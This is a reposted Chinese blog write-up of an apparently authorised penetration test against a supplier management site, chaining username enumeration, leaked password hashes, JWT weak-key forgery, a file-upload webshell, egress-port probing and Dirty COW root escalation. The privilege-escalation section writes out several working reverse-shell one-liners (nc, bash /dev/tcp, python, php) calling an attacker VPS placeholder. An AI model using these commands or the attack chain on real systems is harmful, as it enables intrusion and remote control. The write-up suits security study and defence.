• 我们在哪一颗星上见过 ,以至如此相互思念 ;我们在哪一颗星上相互思念过,以至如此相互深爱
  • 我们在哪一颗星上分别 ,以至如此相互辉映 ;我们在哪一颗星上入睡 ,以至如此唤醒黎明
  • 认识世界 克服困难 洞悉所有 贴近生活 寻找珍爱 感受彼此

渗透测试: 记一次授权网络攻防演练(转载)

渗透测试 云涯 5年前 (2019-08-25) 2789次浏览 0个评论

转载 侵删

完整攻击链大概包括信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除等七步,虽然这个站点只经历了前四步,但也具有较强的代表性,组合利用漏洞形成攻击连,拿下管理权限

事情缘起

杜兄弟在某旅游集团公司任职 IT 技术主管,有两家驻场安全厂商为其提供安全服务,一家负责业务相关的渗透测试,一家负责网络访问、流量监测的安全管控,上周和他吃了个串串,整个饭局除了刚开始的寒喧,大部份时间就是布道,在他的管理下,生产系统做到了绝对安全。

well,你知道的,虽然我在蓝队,但一直有颗红心。自然得怼一下,“这个还是要看攻击者哟,攻防演练没丢分,说明不了啥子三”,杜兄弟不高兴了,在酒精的作用下,他开腔了,“这样,我帮你申请 5K 的漏洞赏金,你看哈能找到啥问题不”。对嘛,找得到,挣点油钱,找不到,当学习,于是就应下来了。杜兄弟看我敢接招,临走前点了根烟,猛吸了两口,思索片刻后又给我加了两个限定条件,一是,每步实质攻击前,必须先得到他的授权,二是,单个漏洞不算完成任务,必须拿到操作系统 root。

wow,挺大的挑战,拿不下就打脸,我陷入激烈的思想斗争,wait、wait,我不是应该向钱看么,脸面不重要,ok,一下就想通了。

初步刺探

拿到的目标是个供应商管理系统,访问之,自动跳转至登录页面:

images

 

 

 

 

 

 

 

 

 

 

 

正准备启动信息收集工作,页面上有三个地方引起了我的注意:.do 的接口地址、登录功能、密码找回功能。

审查 .do 接口。看到 .do 自然联想到 struts2 命令执行全家桶。

看下用的哪种脚本语言:

images

 

 

 

 

 

 

的确是 java,用安恒出品的 S2 漏洞验证工具扫描下:

images

 

 

 

 

 

 

 

 

 

 

 

 

无果。

审查登录功能。登录功能的审查点很多,比如账号是否可枚举、密码是否可暴破,但前提是没有验证码,显然这里存在图片验证码,所以,我先确认验证码是否可绕过。

拦截登录请求

images

 

 

 

 

 

 

 

 

 

应答标志为 2,第二次重发,应答标志变为 1:

images

 

 

 

 

 

 

 

显然,验证码防御机制有效,虽然 python 调用 tesseract 识别图片的手法可有效攻击图片验证码,但需要我爬取该站的大量图片来训练,这个阶段无需太深入,暂时放一放。

审查密码找回功能。密码找回功能很容易出现逻辑错误,经验来看,至少可从七个方面攻击密码找回功能:重置凭证接收端可篡改、重置凭证泄漏、重置凭证未校验、重置凭证可暴破、用户混淆、应答中存在影响后续逻辑的状态参数、token 可预测。

访问密码找回页面:

images

 

 

 

 

 

 

 

 

拦截密码找回的请求:

images

 

 

 

 

 

 

 

 

 

 

 

 

从应答描述可知,提示该用户不存在,重发几次,结果相同,说明图片验证码未生效,好了,第一个洞,用户名可枚举。

显然,用户名在该请求的 params 参数中,URL 解码可得明文:

images

 

 

 

 

 

 

 

于是,将 root 设定为枚举变量,加载中国人姓名(top500)、后台账号两个字典,进行枚举:

images

 

 

 

 

 

 

 

 

得到三个有效账号:nana、admin、liufei。

随意选个账号进入密码找回流程,liufei,应答为 JSON 数据,格式化后吓我一跳:

images

 

 

 

 

 

 

 

 

 

 

 

 

敏感信息大赠送!有邮箱,甚至有哈希密码。记下来,第二个漏洞,账号相关敏感信息泄漏。

我的目的很明确,获取登录密码,所以,我计划利用泄漏信息,从社工库和哈希反解两方面达到目的。

社工库。提取邮箱中的用户名,liufei 的 liufei、nana 的 18xxxxxx56、admin 的 legxxxxxxng,在社工库中查询历史密码:

images

 

 

 

 

只找到 liufei 相关的多个历史密码,逐一验证,均错误。

哈希反解。提取三个账号的哈希密码,liufei 的 a1e0476879cab2a76cc22c80bbf364dd、nana 的 208f0aba4a6d4b9afe94207e6c57d594、admin 的 3faf009c43bb39c5a37859bc48feaff3。

有了哈希密码,第一时间查彩虹表,反解明文密码:

images

 

 

 

 

 

只有账号 liufei 的密码解出为 !QAZ2wsx,nana、admin 无解,暂时放下。第三个漏洞,业务系统存在弱口令账号 liufei。

低权进站

通过 liufei / !QAZ2wsx 登录网站:

images

 

 

 

 

 

 

功能非常有限,只有个回收站,里面没有业务任何数据。

上图中有几个输入框,应该是个查询功能,但是找不到查询按钮,尝试在前端 HTML 源码中翻找查询接口,无果;在 burp 的报文历史中审查 JS,也没找到有用的接口。看来,还得找个高权限的账号。

回到先前未反解出来的两个账号,nana 的 208f0aba4a6d4b9afe94207e6c57d594、admin 的 3faf009c43bb39c5a37859bc48feaff3。

https://www.cmd5.com/拥有海量的彩虹表数据,它反解不出来,很可能是个强口令。对于强口令的暴破,我习惯围绕用户名,制作具有社工属性的密码字典,如,用户名 nana,社工属性密码可能为 NaNa、na520na、nana@19901015。如何生成社工属性密码字典?hashcat!对滴,hashcat 不仅是哈希暴破神器,也支持基于规则生成密码字典,规则库位于 hashcat/rules/:

images

 

 

 

 

 

 

其中,dive.rule 含有我需要的规则,选之。我把 nana 视为基础信息存入 base.txt 中作为输入,让 dive.rule 模仿学习生成类似的密码字典,保存至 se_passwds.txt:

images

 

 

 

 

接着用社工字典暴破哈希密码:

images

 

 

7 秒出结果,得到 nana 的密码 nanacnacnanac,第四个漏洞,业务系统存在社工属性口令账号 nana。用类似的手法,制作了账号 admin 的社工密码字典,遗憾,并未暴出 admin 的密码。没关系,用 nana / nanacnacnanac 登录系统,或许有新发现。

一旦进入台后,习惯上先找三类功能:上传功能、查询功能、命令功能。上传功能,通过各种任意文件上传攻击手法,上传 webshell;查询功能,审查是否存在 SQL 注入,拿数据(如,哈希密码);命令功能,指那些有著名工具实现的功能,比如,输入个 IP,业务功能探测该 IP 是否存活,服务端可能执行了 ping 命令,又如,上传个压缩包,页面显示压缩包内容,服务端可能执行了 unzip 命令,这时,用命令注入或命令选项注入的手法,攻击服务端。

登录 nana 账号,业务功能也不多,但有个上传功能:

images

 

 

 

 

 

 

 

 

 

 

 

 

我得深入审查它,或许是 getshell 的唯一通道。

先上传一个正常的 PNG 图片,页面报错,提示非管理员禁止上传:

images

 

 

 

 

 

 

 

 

 

 

 

这可不好玩了,admin 的哈希密码之前用彩虹表、社工字典都尝试过,无法反解,前进步伐再次受阻。

逻辑漏洞

回想之前刺探过的密码找回功能,发现泄漏用户哈希密码就未再深入,应该再审查下,或许能重置 admin 密码。

用 admin 进入密码找回流程,先顺利通过服务端用户名是否存在的校验,然后向该账号绑定的邮箱地址发送密码重置 URL,请求如下:

images

 

 

 

 

 

 

 

 

显然,参数 email 存在不安全的直接对象引用(IDOR)问题,将其替换为攻击者的邮箱,90% 的概率会收到重置邮件。(IDOR,国内外厂商对它完全是两个态度,一次给国外电商平台提交了个 IDOR 漏洞,可导致全量用户邮箱泄漏,拿了 3K,美刀,类似漏洞提交给国内厂商,可导致政企用户个人信息泄漏、可增删改用户家庭住址,奖励了 2K,还是购物卡,T_T)

于是,我找了个匿名邮箱,尝试劫持 admin 的密码找回邮件:

images

 

 

 

 

 

 

 

 

 

很快,匿名邮箱收到来信:

images

 

 

 

 

 

访问带 token 的密码重置链接,还真能修改密码:

images

 

 

 

 

 

 

 

 

洋气!第五个漏洞,任意用户密码重置。

呵呵,小激动,喝口茶,刷刷微信休息下,刚好看到杜兄弟留言:

images

 

 

 

 

 

 

 

 

茶吐了一地,到手的 admin 又飞了。没办法,人家先就说清楚了,“每步实质攻击前,必须先得到授权”。

我不得不去找寻其他攻击路径!

垂直越权

焦点回到 nana 账号的上传功能上,虽然服务端报错禁止非 admin 上传,但仔细审查请求报文,看到存在 token:

images

 

 

 

 

 

 

 

 

 

 

这个 token 让我觉得很突兀,通常 token 要么用作身份凭证、要么用于防 CSRF,若是前者,就不应该与同样表示身份凭证的 cookie 同时存在,若是后者,通常为 16 位或 32 位的哈希值,而非用点号分隔的三段 base64。于是,我依次将每段解码:

images

 

 

 

 

 

 

第一段解码看到 JWT,第二段解码发现用户名,第三段因下划线导致解码失败。

原来是 JWT 啊!老朋友了,全称叫 JSON Web Token,现代 web 应用中替代 cookie 表示用户身份凭证的载体。形式类似 base64,但使用了 base64 可用字符空间之外的点字符,且无法直接解码。HTTP 报文中一旦发现 JWT,应重点关注。一时没想起,这不就是现代 web 常用的 JWT 么,服务端对 JWT 实现不好,容易导致垂直越权,比如,把第二段的 user 字段值从 nana 篡改 admin。但是,JWT 的签名(也就是上面的第三部分),是对信息头和数据两部分结合密钥进行哈希而得,服务端通过签名来确保数据的完整性和有效性,正因如此,由于我无法提供密钥,所以,篡改后的 token 到达服务端后,无法通过签名校验,导致越权失败。

攻击 JWT,我常用三种手法:未校验签名、禁用哈希、暴破弱密钥。

未校验签名。某些服务端并未校验 JWT 签名,所以,尝试修改 token 后直接发给服务端,查看结果。于是,我将 user 字段值从 nana 改为 admin 后,重新生成新 token:

images

 

 

 

 

 

 

 

 

 

 

 

由于未填写正确密钥,即便生成格式正确的新 token,但提示无效签名(invalid signature),没事,放入上传请求报文中,发给服务端,试试手气:

images

 

 

 

 

 

 

 

 

 

bad news:

images

 

 

 

 

 

 

 

 

 

 

没关系,继续尝试其他攻击手法。

禁用哈希。JWT 第一部分含有 alg 字段,该字段指定生成签名采用哪种哈希算法,该站使用的是 HS256,可将该字段篡改为none,某些 JWT 的实现,一旦发现 alg 为 none,将不再生成哈希签名,自然不存在校验签名一说。

https://jwt.io/#debugger将 alg 为 none 视为恶意行为,所以,无法通过在线工具生成 JWT:

images

 

 

 

 

 

 

 

 

 

 

我只得用 python 的 pyjwt 库来实现:

images

 

 

你看,用 none 算法生成的 JWT 只有两部分了,根本连签名都没生成。将新的 token 发给服务端,仍然报错“wrong signature”。另外,某些 JWT 实现对大小写敏感,所以,我继续尝试了 None、nOne、NONE,均报错。

暴破弱密钥。别放弃,哪怕最后一招也得尝试,希望该站用的是个弱密钥,暴破。

我在 github 上找了个 JWT 密钥暴破工具https://github.com/lmammino/jwt-cracker,但只支持字符序列穷举方式暴破,无法加载字典:

images

 

 

 

 

不得不自己写个脚本。

前面提到的 pyjwt 库,不仅可用于生成 JWT,也可通过 jwt.decode(jwtstr, verify=True, key=key) 进行签名校验,但,导致校验失败的因素不仅密钥错误,还可能是数据部分中预定义字段错误(如,当前时间超过 exp),也可能是 JWT 字符串格式错误等等,所以,借助 jwt.decode(jwtstr, verify=True, key=key) 验证密钥 key_:

1.若签名直接校验失败,则 key_ 为有效密钥;

2.若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError)导致校验失败,说明并非密钥错误导致,则 key_ 也为有效密钥;

3.若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;

4.若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。

按此逻辑,快速实现 JWT 密钥暴破功能,代码如下:

images

 

 

 

 

 

 

 

 

 

 

 

 

运行脚本,很快找到密钥:

images

 

 

 

 

哈哈,哈哈哈哈,密钥到手,高权我有!

接下来,我将 user 字段从 nana 改为 admin,并提供有效密钥 $admin$:

images

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

生成了具备有效签名的新 JWT 值。

尝试用伪造成 admin 的新 JWT 上传图片:

images

 

 

 

 

 

 

 

 

 

 

 

 

哈哈哈哈,成功上传图片。第六个漏洞,JWT 使用弱密钥,可导致垂直越权。

建立据点

真是麻烦,整了这么久,才获得一个可用的上传功能而已,还不一定能上传 webshell,走一步看一步。

在我看来,任意文件上传攻击应关注四个要素:找寻文件路径、指定文件扩展名、写入脚本代码、防 WAF 拦截。

找寻文件路径。上传 webshell 后肯定要访问,势必得晓得文件写入路径,通常上传成功后,路径将回显在应答中,但该站并无回显,但好在它是个图片,所以,在页面右键即可查看文件路径:

1566216142_5d5a8fceb7c55.png!small

 

 

 

 

 

 

 

 

同时,为了方便后续调试,我把查询文件路径的接口保留下来:

1566216150_5d5a8fd68a8a6.png!small

 

 

 

 

 

 

 

 

 

 

指定文件扩展名。上传报文中,涉及文件扩展名的地方如下三处:

1566216159_5d5a8fdf58afc.png!small

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

我得逐一验证哪个是影响服务端写入文件时用到的扩展名。尝试将第一处 fileName 域的 info.png 改为 info.jsp,确认写入文件名:

1566216165_5d5a8fe5af881.png!small

 

 

 

 

 

 

 

 

 

 

 

wow,这运气。

写入脚本代码。接下来,我把上传报文中的图片数据替换为一行无害的 JSP 代码:

1566216172_5d5a8fec1b4fc.png!small

 

 

 

 

 

 

上传失败,文件内容是唯一变更的地方,那么,我可以合理猜测服务端要么检测了文件内容是否存在脚本代码,要么检测了文件头是否为图片类型。

验证是否检测了脚本代码。我把这行 JSP 代码改为普通文本:

1566216178_5d5a8ff2b39fc.png!small

 

 

 

 

 

 

仍然失败,说明并非检测了恶意代码。

验证是否检测了文件头。不同类型的文件都有对应的文件类型签名(也叫类型幻数,简称文件头),比如,PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A、GIF 为 47 49 46 38 37 61、JPG 为 FF D8 FF E0。于是,我添加了 PNG 文件头后再次上传:

1566216189_5d5a8ffd79b82.png!small

 

 

 

 

 

 

wowo,上传成功。立即访问,确认能否解析:

1566216194_5d5a90022d3af.png!small

 

 

 

 

 

 

 

 

500 错误,不应该啊,就这么一行无害普通代码,怎么会导致服务端错误呢?!会不会 PNG 头中存在不可见字符,导致解析报错?改成全是可见字符的 GIF 头试试:

1566216200_5d5a9008bf633.png!small

 

 

 

 

 

 

 

确认能否正常解析:

 

1566216207_5d5a900ff32ef.png!small

 

 

 

呵呵,讲究!换成 GIF 文件头可成功解析。

防 WAF 拦截。接下来,我把无害 JSP 代码替换为命令执行的小马,成功上传、成功解析、成功执行命令:

1566216216_5d5a901862c47.png!small

 

 

 

 

 

 

 

哈哈,第七个洞,文件类型签名可绕过,导致任意文件上传 getshell。

我的内心开始放荡,抑制不住激动的心情按下了 F5,居然又出幺蛾子:

1566216222_5d5a901e02268.png!small

 

 

 

 

 

 

顺利写马、可以执行一次命令、刷新页面出现禁止访问,这种现象,我怀疑 WAF 作祟,它发现流量中携带恶意行为后拒绝请求。

两年前,突破 WAF 我大概会用到这几种手法:分块传输、畸型请求、转义序列、偏僻编码、TLS 滥用,而如今,划时代的冰蝎问世(尽管它未开源),让我几乎可以忽视 WAF 的存在。上古时代的各类一句话、小马、大马早已成为各大 WAF 出厂默认封杀规则;传奇 webshell 管理客户端菜刀也年久失修,明文流量毫无隐私可言;冰蝎,采用密钥变换手法,将文本载荷转为二进制流,再进行加密传输,天生具备防流量监测的能力。

所以,我上传冰蝎马:

1566216228_5d5a9024ebe47.png!small

 

 

 

 

 

 

 

直接访问报错:

1566216237_5d5a902d34446.png!small

 

 

 

 

 

 

 

 

 

没关系,冰蝎马未处理异常,不影响管理端连接:

1566216242_5d5a9032ebac9.png!small

 

 

 

 

 

 

 

 

 

现在,我可以随意执行命令:

image.png

 

 

 

 

 

管理文件:

1566216254_5d5a903eaba56.png!small

 

 

 

 

 

 

 

题外话,关于上传漏洞,冰蝎流量监测、白名单扩展绕过,这有两点你可以了解下:

1. 冰蝎流量能逃过所有品牌的 WAF 监测么?几乎是,唯一逃不过奇安信(原 360、原原网神)的天眼系统,冰蝎管理端与冰蝎马建立会话时需要获取动态密钥,这个过程中的请求与应答的两个报文存在特征,天眼的着力点在此(作者后续补充,此处为他见过有限的 WAF 品牌中,只有天眼能发现冰蝎的流量,其他大部份品牌未作验证);

2. 任意文件上传攻击,遇到服务端扩展名白名单的场景,除了常规的解析漏洞手法外,还可能关注本地文件包含漏洞(LFI),以及 HTTP 参数污染漏洞(HPP),特别是 HPP,在突破白名单限制时,很有杀伤力。

系统提权

webshell 虽然赋予我执行命令、管理文件的能力,但毕竟不是真正的 shell,无法执行交互式命令、无法控制进程状态、无法补全命令等等,非常不利于提权操作,所以,必须反弹 shell。

通过冰蝎在目标上执行反弹命令:

1566216267_5d5a904b2750a.png!small

 

 

 

VPS 监听:

1566216273_5d5a905162f55.png!small

 

 

 

等昏过去了都没见到 shell 回来,反弹 shell 失败!导致失败的因素很多,经验来看,常见如下几类:反弹命令不存在、禁止出口流量、限定向外访问端口、流量审查。

验证是否反弹命令不存在。我常用的几个反弹命令:nc/nc.openbsd/nc.traditional、bash/sh/dash、python/perl/PHP/ruby、exec。

用 nc 反弹,命令如下:

nc <your_vps> 1024 -e /bin/sh

某些目标的 nc 不支持 -e 参数,有两个解决思路,要么使用其他版本的 nc:

nc.traditional <your_vps> 1024 -e /bin/sh

要么配合命名管道进行反弹:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f

用 bash 反弹:

/bin/bash -i >& /dev/tcp/<your_vps>/1024 0>&1

用 python 反弹:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",1024));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

用 PHP 反弹:

php -r '$sock=fsockopen("<your_vps>",1024);exec("/bin/sh -i <&3 >&3 2>&3");'

用 exec 反弹:

0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196

在目标上查看相关命令是否存在:

image.png

 

 

 

 

 

 

看来除 PHP 外,其他反弹命令都可用,那么先前反弹失败并非 bash 命令的原因。

验证是否禁止出口流量。某些目标在防火墙上限制了出口流量,禁止目标主动向外发起网络请求,我计划通过带外(Out Of Band)的方式进行验证。大致逻辑是,在攻击者自己的 VPS 上监测某种协议的网络请求,在目标上用这种协议访问 VPS,若在 VPS 上看到该协议的请求日志,则可推断出目标允许出口流量。

为了减少其他因素干扰,我习惯选用无端口的协议进行出口流量的测试,ICMP 最单纯。你知道互联网上随时都有 ICMP 的刺探,导致 VPS 看到的日志量非常大,所以,我指定 ping 的包的大小,这样方便过滤。

第一步,虽然我指定了 ping 包大小,但实际大小由系统确定,先在目标上执行 ping 命令,获取实际包大小:

image.png

 

 

 

 

 

 

我用 -s 选项指定包大小为 64 个字节,系统实际发送了 92 个字节,以 length 92 为关键字查找 ICMP 记录。

第二步,在 VPS 上监控 ICMP 日志:

image.png

 

 

 

第三步,在目标上再次执行 ping 命令:

image.png

 

 

 

 

 

 

 

第四步, 在 VPS 上查看到大小为 92 的 ICMP 包:

image.png

 

 

 

 

经过以上四步,我确认目标允许出口流量。

验证是否限定向外访问端口。某些目标限定访问外部端口,常见黑名单和白名单两种方式。黑名单,比如,禁止目标机器向外访问 MSF 默认的 4444 端口;白名单,比如,只允许向外访问 web 常见的 80 端口,注意下,攻击端即便监听的 80 端口,getshell 的流量采用的也并非 HTTP 协议,而是普通的 socket,切勿与 HTTP 隧道 getshell 混淆。

先前反弹失败用的是 1024 端口,换个端口 2941 监听试试:

image.png

 

 

 

目标上用 HTTP 协议访问 VPS 的 2941 端口:

image.png

 

 

 

 

等待片刻,VPS 的并无 HTTP 记录,所以,怀疑采用白名单。经验来看,端口白名单通常只允许向外访问 HTTP 服务的默认 80、HTTPS 服务的默认 443,于是,VPS 监听 443 端口,目标上访问 443,这时 VPS 上获得 443 端口的访问记录:

image.png

 

 

 

 

 

那么,我可以几乎断定目标的确是用白名单机制限制了向外访问的端口号,其中猜测出 443 端口在白名单范围内。

验证是否存在流量审查。换成 443 端口后应该顺利反弹 shell,服务端的确也收到了 shell,但还没来得及执行任何命令,马上就就掉线了。我猜测服务端可能存在某种流量检测设备,以物理旁路、逻辑串联的方式接入在网络中,一旦发现恶意行为,分别向客户端和服务端发送 RESET 的 TCP 包,达到断开客户端和服务端连接的目的,表象类似传统堡垒机的防绕行机制。

流量审查,审查设备必定得到明文流量数据才行,要防审查自然想到加密流量。所以,我不再简单地用 bash 来反弹 shell,而在此基础上,将原始流量用 openssl 加密,这样就能达到防流量审查的目的。

具体而言,第一步,在VPS 上生成 SSL 证书的公钥/私钥对:

image.png

 

 

 

 

 

第二步,VPS 监听反弹 shell:

image.png

 

 

第三步,目标上用 openssl 加密反弹 shell 的流量:

image.png

 

 

 

第四步,VPS 上成功获取加密的哑 shell:

image.png

 

 

 

 

 

现在,我得到的仅仅是个简陋的哑 shell,并非交互式 shell。基于以下几个原因,让我有强烈驱动力将哑 shell 转为交互式 shell:防止 ctrl-c 中断 getshell 会话、无法查看语法高亮、无法执行交互式命令、无法查看错误输出、无法使用 tab 命令补全、无法操控 job、无法查看命令历史。

具体如下,第一步,在哑 shell 中执行:

$ python -c 'import pty; pty.spawn("/bin/bash")'

键入 Ctrl-Z,回到 VPS 的命令行中;第二步,在 VPS 中执行:

$ stty raw -echo

$ fg

回到哑 shell 中;第三步,在哑 shell 中键入 Ctrl-l,执行:

$ reset

$ export SHELL=bash

$ export TERM=xterm-256color

$ stty rows 54 columns 104

这样,我得到了功能齐全的交互式 shell,比如,支持命令补全、语法高亮:

image.png

 

 

 

 

 

 

 

 

 

一切就绪,正式进入提权操作。提权的手法很多,比如,利用内核栈溢出提权、搜寻配置文件中的明文密码、环境变量劫持高权限程序、不安全的服务、借助权能(POSIX capabilities)提权、sudo 误配、SUID 滥用等等。我喜欢快刀斩乱麻,将 linux-exploit-suggester-2 上传至目标后运行:

image.png

 

 

 

 

 

 

 

 

 

 

 

 

 

提示当前内核可能存在脏牛漏洞,上传本地编译好的脏牛 exp,执行后毫无波澜地拿到了 root

image.png

 

 

 

 

虽然这个目标用内核漏洞成功提权,对我而言,只能算作运气好,在如今的网络安全生态下,运维人员已有足够的安全意识,安装系统补丁早已融入日常工作。所以,我有必要分享一种内核漏洞之外的提权手法,它的成功率非常高,并且不像内核提权那样可能导致系统挂起,它就是对系统完全无损的 sudo 误配提取手法。

个人非常、十分、特别喜欢它,sudo 误配的一种利用手法是,查看 home​/ 目录下是否 .sudo_as_admin_successful 文件,若有则可以输入当前低权账号的密码直接 sudo su 切换为 root 用户,而在已经获取当前账号的系统环境的前提下,要拿到低权账号的密码,虽然有门槛,但也不是不可能(如,翻找各类配置文件)。

靶机 JIS-CTF-VulnUpload-CTF01 就是很好的一个案例。首先,利用 web 漏洞拿到低权账号 technawi 的 meterpreter 会话:

image.png

 

 

 

 

 

 

 

 

 

接着,翻找文件找到其密码:

image.png

 

 

 

 

然后,发现 home/ 中存在 .sudo_as_admin_successful 文件:

image.png

 

 

 

 

 

 

 

 

最后,用 technawi 自己的密码切换为 root 用户:

image.png

 

 

 

 

 

就这样,成功提权!

说这么多,不是排名哪种提权手法优秀、哪种拙劣,能达到目的,适合你思维模式的,就是最好的,你说呢!

故事尾声

到此,任务算完成了,整个过程很有意思,目标环境设有层层防御,但每道防线或多或少存在些小问题,多个小问题串起来,便成了黑客进入系统内部的攻击路径。

完整来说,全流程的攻击链包括信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除等七步,虽然这个站点只经历了前四步,但也具有较强的代表性。简单回顾下,大概经过以下关键步骤:

1. 密码找回功能处,图片验证码未刷新,导致可枚举用户名,得到三个有效账号:nana、admin、liufei;

2. 密码找回功能,若是有效用户,服务端泄漏有效用户的敏感信息,包括哈希密码;

3. 由于系统存在弱口令,导致通过彩虹表反解出 liufei 的密码;

4. 通过 liufei 账号登录系统,发现为低权账号,无可利用功能;

5. 回到 nana 账号上,通过制作社工密码,暴破出该账号密码;

6. 登录 nana 账号,找到上传点,但非 admin 而禁止上传;

7. 回到 admin 账号上,重新审查密码找回功能,发现存在 IDOR,可重置 admin 密码,但业务厂商告知不能重置,作罢;

8. 再次登录 nana 账号,分析上传请求报文,发现服务端通过 JWT 作为身份凭证,由于 JWT 采用弱密钥,导致垂直越权至 admin;

9. 以 admin 身份上传,服务端通过文件类型签名作为上传限制,可轻松绕过,成功上传 webshell;

10. 服务端审查 webshell 流量,无法长时间使用,改用冰蝎马,实现 POST 数据二进制化、加密化,突破 webshell 流量审查;

11. 反弹 shell 时遇阻,目标设置向外访问端口白名单,通过各种手法找到端口白名单包含 80、443;

12. 设置反弹 shell 至 443 端口仍失败,发现目标部署反弹流量审查设备,于是,用 openssl 加密反弹流量,成功获取反弹 shell;

13. 为方便后续提权、维权、移动,通过技巧将反弹的哑 shell 转为全功能的交互式 shell;

14. 通过查找目标内核版本,发现存在脏牛漏洞,上传 exp 后顺利提权为 root。

 

 


云涯历险记 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:渗透测试: 记一次授权网络攻防演练(转载)
喜欢 (0)

您必须 登录 才能发表评论!